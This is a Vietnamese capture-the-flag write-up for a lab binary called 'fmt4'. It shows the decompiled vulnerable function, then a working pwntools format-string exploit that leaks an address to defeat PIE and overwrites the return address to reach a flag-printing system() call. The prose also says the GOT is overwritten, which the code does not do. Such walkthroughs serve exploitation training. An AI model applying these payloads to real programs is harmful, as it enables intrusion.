FMT4

```
huynq@huynq-uet-crys:~/Documents/exploit-train/exploit/formatstring4$ checksec fmt4
[*] '/home/huynq/Documents/exploit-train/exploit/formatstring4/fmt4'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

Decompile: exploit - (fmt4)

```
1
2  void exploit(void)
3
4  {
5    int iVar1;
6    long in_FS_OFFSET;
7    char local_78 [16];
8    char local_68 [88];
9    long local_10;
10
11   local_10 = *(long *)(in_FS_OFFSET + 0x28);
12   puts("I will give you one chance to get flag");
13   read(0,local_68,0x50);
14   iVar1 = strcmp(local_78,"flag");
15   if (iVar1 == 0) {
16     system("/bin/cat /home/fmt4/flag.txt");
17   }
18   printf(local_68);
19   if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
20                     /* WARNING: Subroutine does not return */
21     __stack_chk_fail();
22   }
23   return;
24 }
25
```

Có bug format string ở dòng 18 của function exploit, ta sẽ overwrite GOT để giải quyết bài này.

Vì PIE enabled nên cần tính binary address.

Cách làm như sau:

- Ghi đè RIP (địa chỉ return của hàm exploit) thành vị trí gọi function exploit để tiếp tục attack những lần sau. Vì binary address sẽ có đuôi là 000 và vị trí tương đối trong chương trình không đổi nên ta chỉ cần overwrite byte cuối. Đồng thời, ta sẽ tính địa chỉ binary, offset thứ 23 là địa chỉ main+106

```python
from pwn import *

p = process("./fmt4")
e = ELF('./fmt4')

payload = b'%30x%7$hhn'
payload += b'A'
payload += b'%23$p'

p.sendlineafter(b'name: ', b'abc')
p.sendlineafter(b'flag\n', payload)
p.recvuntil(b'A' + b'0x')
main_address = int(p.recvuntil(b'\n').decode()[:-1], 16) - 106
e.address = main_address - e.symbols['main']
```

- Ghi đè RIP thành địa chỉ gọi hàm system(…) ở trong exploit

```python
payload = '%{}x'.format((e.symbols['exploit'] + 0x5e) & 0xffff).encode() + b'%7$hn'
p.sendlineafter(b'flag\n', payload)
p.interactive()
```

Lấy thành công flag

```
            99400d0f
23$p
[*] Process './fmt4' stopped with exit code 6 (pid 10892)
flag{test}
P\x0c\x99\[*] Got EOF while reading in interactive
```